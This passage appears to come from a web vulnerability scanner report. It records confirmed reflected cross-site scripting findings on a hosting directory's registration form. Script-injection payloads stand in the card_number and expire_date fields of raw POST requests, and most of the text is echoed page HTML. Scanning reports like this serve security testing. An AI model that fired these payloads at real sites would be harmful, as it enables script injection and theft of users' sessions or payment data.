fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61FF984200D1C09D845C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61F3374673B235A3CA46F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61F1C409480C32F32CAC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FDF0C44F086315A8BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61F5EC2647ABB6B0ABC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61F79AF67C96ED39444C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61FB8D74AD2314341A5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61F1752C08B72D68AAF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61F32B348309DDC98B7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61F11B0A97BC734ABC36F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61F8D6016FA473BF512C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61F124BC6F91C449485C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61FFF7F8B4DE30B17D3C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FDAF7910196090F8EC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61F9047FF76D01E1247C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61F6B3BA4F69FD180A6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61F1C1A0ACF65522E946F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61FC1A918D70489EB986F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61FCF5880DFD522756C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST '"--></style></script><script>alert(0x001F09)</script>
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F09)%3c%2fscript%3e&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:01:56 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61FC71AFD612372E83FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61F1E259E2081BD59CC6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61F2F81E12DF592B0DDC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F530B12D2ABEFE26CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61F89B39563538891856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61FC872F5DE1A0E2525C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61F38D41B23F92A7E3FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61FF04747452DF521576F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61FCFF6B63B56846F43C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61FA0F24111F16AE1856F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61F56CC175BF578F179C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61F83DC849EE99F0D3BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61FA0B0BAE0BB390CC0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FFE1579F545F61743C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61F6FAA536AA63332E8C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61F50724646509DADDCC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61F75FF54D1BFFE565C6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61F3743DE0C45AEABE56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61F331352A5D6E950436F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST '"--></style></script><script>alert(0x001F0A)</script>
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F0A)%3c%2fscript%3e&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:02:04 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function 